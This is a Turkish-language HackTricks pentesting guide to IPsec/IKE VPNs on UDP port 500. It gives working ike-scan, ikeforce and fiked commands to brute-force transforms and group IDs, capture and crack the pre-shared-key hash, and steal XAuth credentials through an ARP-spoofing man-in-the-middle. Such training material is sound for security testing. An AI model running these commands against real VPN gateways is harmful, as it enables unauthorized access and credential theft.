500/udp - IPsec/IKE VPN Pentesting

Reading time: 12 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

Temel Bilgiler

IPsec, ağlar arasında (LAN-to-LAN) ve uzaktan kullanıcıların ağ geçidine (uzaktan erişim) iletişimini güvence altına almak için ana teknoloji olarak geniş çapta tanınmaktadır ve kurumsal VPN çözümlerinin belkemiğini oluşturur.

İki nokta arasında bir güvenlik ilişkisi (SA) kurulumu, kimlik doğrulama ve anahtar değişimi için tasarlanmış bir protokol olan ISAKMP çerçevesinde çalışan IKE tarafından yönetilmektedir. Bu süreç birkaç aşamada gerçekleşir:

  • Aşama 1: İki uç nokta arasında güvenli bir kanal oluşturulur. Bu, bir Önceden Paylaşılan Anahtar (PSK) veya sertifikalar kullanılarak, üç mesaj çiftini içeren ana mod veya agresif mod kullanılarak gerçekleştirilir.
  • Aşama 1.5: Zorunlu olmamakla birlikte, Genişletilmiş Kimlik Doğrulama Aşaması olarak bilinen bu aşama, bağlanmaya çalışan kullanıcının kimliğini doğrulamak için bir kullanıcı adı ve şifre gerektirir.
  • Aşama 2: Bu aşama, verileri güvence altına almak için ESP ve AH ile parametrelerin müzakere edilmesine adanmıştır. Mükemmel İleri Gizlilik (PFS) sağlamak için Aşama 1'deki algoritmalardan farklı algoritmaların kullanılmasına izin verir, güvenliği artırır.

Varsayılan port: 500/udp

nmap kullanarak hizmeti keşfedin

root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT    STATE SERVICE
500/udp open  isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)

Geçerli bir dönüşüm bulma

IPSec yapılandırması yalnızca bir veya birkaç dönüşümü kabul edecek şekilde hazırlanabilir. Bir dönüşüm, değerlerin bir kombinasyonudur. Her dönüşüm, DES veya 3DES gibi şifreleme algoritması, SHA veya MD5 gibi bütünlük algoritması, önceden paylaşılan bir anahtar gibi kimlik doğrulama türü, Diffie-Hellman 1 veya 2 gibi anahtar dağıtım algoritması ve 28800 saniye gibi ömür gibi bir dizi özellik içerir.

O halde, yapmanız gereken ilk şey geçerli bir dönüşüm bulmaktır, böylece sunucu sizinle iletişim kuracaktır. Bunu yapmak için ike-scan aracını kullanabilirsiniz. Varsayılan olarak, Ike-scan ana modda çalışır ve bir ISAKMP başlığı ile birlikte bir paketi geçide gönderir ve içinde sekiz dönüşüm bulunan tek bir öneri gönderir.

Cevaba bağlı olarak, uç nokta hakkında bazı bilgiler elde edebilirsiniz:

root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify

Önceki yanıtta görebileceğiniz gibi, AUTH adında bir alan var ve değeri PSK. Bu, vpn'nin bir önceden paylaşılan anahtar kullanılarak yapılandırıldığı anlamına gelir (ve bu, bir pentester için gerçekten iyi).
Son satırın değeri de çok önemlidir:

  • 0 dönen el sıkışma; 0 dönen bildirim: Bu, hedefin bir IPsec geçidi olmadığını gösterir.
  • 1 dönen el sıkışma; 0 dönen bildirim: Bu, hedefin IPsec için yapılandırıldığını ve IKE müzakeresi yapmaya istekli olduğunu, önerdiğiniz dönüşümlerden birinin veya daha fazlasının kabul edilebilir olduğunu gösterir (geçerli bir dönüşüm çıktıda gösterilecektir).
  • 0 dönen el sıkışma; 1 dönen bildirim: VPN geçitleri, dönüşümlerin hiçbiri kabul edilebilir olmadığında bir bildirim mesajı ile yanıt verir (bazı geçitler bunu yapmaz, bu durumda daha fazla analiz ve revize edilmiş bir öneri denenmelidir).

Bu durumda zaten geçerli bir dönüşümümüz var, ancak 3. durumda iseniz, geçerli bir dönüşüm bulmak için biraz brute-force yapmanız gerekir:

Öncelikle, tüm olası dönüşümleri oluşturmanız gerekir:

bash
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done

Ve ardından her birini ike-scan kullanarak brute-force yapın (bu birkaç dakika sürebilir):

bash
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt

Eğer brute-force işe yaramadıysa, belki de sunucu, geçerli dönüşümlere bile el sıkışmaları olmadan yanıt veriyordur. O zaman, aynı brute-force'u ama agresif mod kullanarak deneyebilirsiniz:

bash
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt

Umarım geçerli bir dönüşüm geri yansıtılır.
Aynı saldırıyı iker.py kullanarak deneyebilirsiniz.
Ayrıca dönüşümleri kaba kuvvetle denemek için ikeforce kullanabilirsiniz:

bash
./ikeforce.py <IP> # No parameters are required for scan -h for additional help

DH Grubu: 14 = 2048-bit MODP ve 15 = 3072-bit
2 = HMAC-SHA = SHA1 (bu durumda). --trans formatı $Enc,$Hash,$Auth,$DH

Cisco, DH grupları 1 ve 2'nin yeterince güçlü olmadığını belirterek kullanılmamasını öneriyor. Uzmanlar, kaynakları bol olan ülkelerin bu zayıf grupları kullanan verilerin şifrelemesini kolayca kırabileceğine inanıyor. Bu, kodları hızlı bir şekilde kırmaya hazırlayan özel bir yöntem kullanılarak yapılır. Bu yöntemi kurmanın maliyeti yüksek olsa da, bu güçlü ülkelerin, zayıf bir grup (örneğin 1,024-bit veya daha küçük) kullanıyorsa şifrelenmiş verileri gerçek zamanlı olarak okumalarına olanak tanır.

Sunucu parmak izi alma

Daha sonra, cihazın satıcısını keşfetmek için ike-scan kullanabilirsiniz. Araç, bir başlangıç önerisi gönderir ve tekrar oynamayı durdurur. Ardından, sunucudan alınan mesajlar ile eşleşen yanıt deseninin zaman farkını analiz ederek, pentester VPN geçidi satıcısını başarıyla parmak izi alabilir. Dahası, bazı VPN sunucuları IKE ile isteğe bağlı Satıcı Kimliği (VID) yükünü kullanacaktır.

Gerekirse geçerli dönüşümü belirtin (using --trans)

IKE, satıcının kim olduğunu keşfederse, bunu yazdıracaktır:

root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

IKE Backoff Patterns:

IP Address       No.  Recv time            Delta Time
172.16.21.200    1    1322286031.744904    0.000000
172.16.21.200    2    1322286039.745081    8.000177
172.16.21.200    3    1322286047.745989    8.000908
172.16.21.200    4    1322286055.746972    8.000983
172.16.21.200    Implementation guess: Cisco VPN Concentrator

Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify

Bu, nmap script ike-version ile de gerçekleştirilebilir.

Doğru ID'yi (grup adını) bulma

Hash'i yakalamak için geçerli bir dönüşüm ve doğru ID (grup adı) gereklidir. Geçerli grup adını bilmeyeceksiniz, bu yüzden bunu brute-force ile denemeniz gerekecek.
Bunu yapmak için size 2 yöntem öneririm:

ike-scan ile ID'yi brute-force yapmak

Öncelikle, hash'i toplamak için sahte bir ID ile bir istek yapmayı deneyin ("-P"):

bash
ike-scan -P -M -A -n fakeID <IP>

Eğer hiçbir hash döndürülmüyorsa, bu durumda bu brute forcing yöntemi muhtemelen işe yarayacaktır. Eğer bazı hash'ler döndürülüyorsa, bu sahte bir ID için sahte bir hash'in geri gönderileceği anlamına gelir, bu nedenle bu yöntem ID'yi brute-force etmek için güvenilir olmayacaktır. Örneğin, sahte bir hash döndürülebilir (bu modern versiyonlarda olur):

Ama dediğim gibi, eğer hiçbir hash döndürülmüyorsa, o zaman ike-scan kullanarak yaygın grup isimlerini brute-force etmeyi denemelisiniz.

Bu script mümkün olan ID'leri brute-force etmeyi deneyecek ve geçerli bir el sıkışma döndürülen ID'leri geri verecektir (bu geçerli bir grup adı olacaktır).

Eğer belirli bir dönüşüm keşfettiyseniz, bunu ike-scan komutuna ekleyin. Ve eğer birkaç dönüşüm keşfettiyseniz, hepsini denemek için yeni bir döngü eklemekten çekinmeyin (birinin düzgün çalışana kadar hepsini denemelisiniz).

Yaygın grup isimlerini brute-force etmek için ikeforce sözlüğünü veya seclists'teki birini kullanabilirsiniz:

bash
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt

Iker ile ID Kırma

iker.py ayrıca olası grup adlarını kırmak için ike-scan kullanır. ike-scan çıktısına dayanarak geçerli bir ID bulmak için kendi yöntemini izler.

ikeforce ile ID Kırma

ikeforce.py ID'leri kırmak için kullanılabilecek bir araçtır. Bu araç, geçerli ve geçersiz bir ID'yi ayırt etmek için kullanılabilecek farklı zafiyetleri istismar etmeye çalışacaktır (yanlış pozitifler ve yanlış negatifler olabilir, bu yüzden mümkünse ike-scan yöntemini kullanmayı tercih ediyorum).

Varsayılan olarak ikeforce, başlangıçta sunucunun davranışını kontrol etmek ve kullanılacak taktiği belirlemek için bazı rastgele ID'ler gönderir.

  • Birinci yöntem, grup adlarını araştırarak Dead Peer Detection DPD bilgilerini kırmaktır (bu bilgi, grup adı doğruysa yalnızca sunucu tarafından yanıtlanır).
  • İkinci yöntem, her denemeye gönderilen yanıt sayısını kontrol etmektir çünkü bazen doğru ID kullanıldığında daha fazla paket gönderilir.
  • Üçüncü yöntem, yanlış ID'ye yanıt olarak "INVALID-ID-INFORMATION" aramaktır.
  • Son olarak, sunucu kontrollerine hiçbir yanıt vermezse, ikeforce sunucuyu kırmaya çalışacak ve doğru ID gönderildiğinde sunucunun bazı paketlerle yanıt verip vermediğini kontrol edecektir.
    Elbette, ID'yi kırmanın amacı geçerli bir ID'ye sahip olduğunuzda PSK'yı elde etmektir. Ardından, ID ve PSK ile XAUTH'ı kırmanız gerekecek (eğer etkinse).

Belirli bir dönüşüm keşfettiyseniz, bunu ikeforce komutuna ekleyin. Ve birden fazla dönüşüm keşfettiyseniz, hepsini denemek için yeni bir döngü eklemekten çekinmeyin (birinin düzgün çalışana kadar hepsini denemelisiniz).

bash
git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
bash
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic

Sniffing ID

(From the book Network Security Assessment: Know Your Network): VPN istemcisi ile sunucu arasındaki bağlantıyı dinleyerek geçerli kullanıcı adları elde etmek de mümkündür, çünkü istemci kimliğini içeren ilk agresif mod paketi açık bir şekilde gönderilmektedir.

Capturing & cracking the hash

Son olarak, eğer geçerli bir dönüşüm ve grup adı bulduysanız ve agresif mod izin veriliyorsa, o zaman kırılabilir hash'i çok kolay bir şekilde elde edebilirsiniz:

bash
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor

Hash, hash.txt dosyasına kaydedilecektir.

psk-crack, john (ikescan2john.py kullanarak) ve hashcat kullanarak hash'i çözebilirsiniz:

bash
psk-crack -d <Wordlist_path> psk.txt

XAuth

Aggressive mode IKE ile birlikte kullanılan Önceden Paylaşılan Anahtar (PSK) genellikle grup kimlik doğrulama amaçları için tercih edilir. Bu yöntem, ek bir kullanıcı kimlik doğrulama katmanı ekleyen XAuth (Genişletilmiş Kimlik Doğrulama) ile güçlendirilmiştir. Bu tür kimlik doğrulama genellikle Microsoft Active Directory, RADIUS veya benzeri sistemler gibi hizmetleri kullanır.

IKEv2'ye geçildiğinde, kullanıcıları kimlik doğrulamak için XAuth yerine EAP (Genişletilebilir Kimlik Doğrulama Protokolü) kullanıldığına dair önemli bir değişim gözlemlenir. Bu değişim, güvenli iletişim protokollerindeki kimlik doğrulama uygulamalarında bir evrimi vurgular.

Yerel ağ MitM ile kimlik bilgilerini yakalama

Bu nedenle, fiked kullanarak giriş verilerini yakalayabilir ve varsayılan bir kullanıcı adı olup olmadığını görebilirsiniz (IKE trafiğini yakalamak için fiked'e yönlendirmeniz gerekir, bu ARP sahtekarlığı yardımıyla yapılabilir, daha fazla bilgi). Fiked, bir VPN uç noktası olarak hareket edecek ve XAuth kimlik bilgilerini yakalayacaktır:

bash
fiked -g <IP> -k testgroup:secretkey -l output.txt -d

Ayrıca, IPSec kullanarak bir MitM saldırısı yapmayı ve tüm trafiği 500 numaralı porta engellemeyi deneyin, eğer IPSec tüneli kurulamazsa belki trafik açık olarak gönderilecektir.

XAUTH kullanıcı adı ve şifresini ikeforce ile brute force ile kırma

XAUTH'ı brute force ile kırmak için (geçerli bir grup adı id ve psk bildiğinizde) bir kullanıcı adı veya kullanıcı adları listesi ve bir şifreler listesi kullanabilirsiniz:

bash
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]

Bu şekilde, ikeforce her kullanıcı adı:şifre kombinasyonunu kullanarak bağlanmaya çalışacaktır.

Eğer bir veya birkaç geçerli dönüşüm bulduysanız, bunları önceki adımlardaki gibi kullanın.

IPSEC VPN ile Kimlik Doğrulama

Kali'de, VPNC IPsec tünelleri kurmak için kullanılır. profiller /etc/vpnc/ dizininde bulunmalıdır. Bu profilleri vpnc komutunu kullanarak başlatabilirsiniz.

Aşağıdaki komutlar ve yapılandırmalar, VPNC ile bir VPN bağlantısı kurma sürecini göstermektedir:

bash
root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0

Bu kurulumda:

  • [VPN_GATEWAY_IP] ile VPN geçidinin gerçek IP adresini değiştirin.
  • [VPN_CONNECTION_ID] ile VPN bağlantısının tanımlayıcısını değiştirin.
  • [VPN_GROUP_SECRET] ile VPN'nin grup gizli anahtarını değiştirin.
  • [VPN_USERNAME] ve [VPN_PASSWORD] ile VPN kimlik doğrulama bilgilerini değiştirin.
  • [PID], vpnc başlatıldığında atanacak işlem kimliğini simgeler.

VPN'i yapılandırırken yer tutucuları değiştirmek için gerçek, güvenli değerlerin kullanıldığından emin olun.

Referans Materyali

Shodan

  • port:500 IKE

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin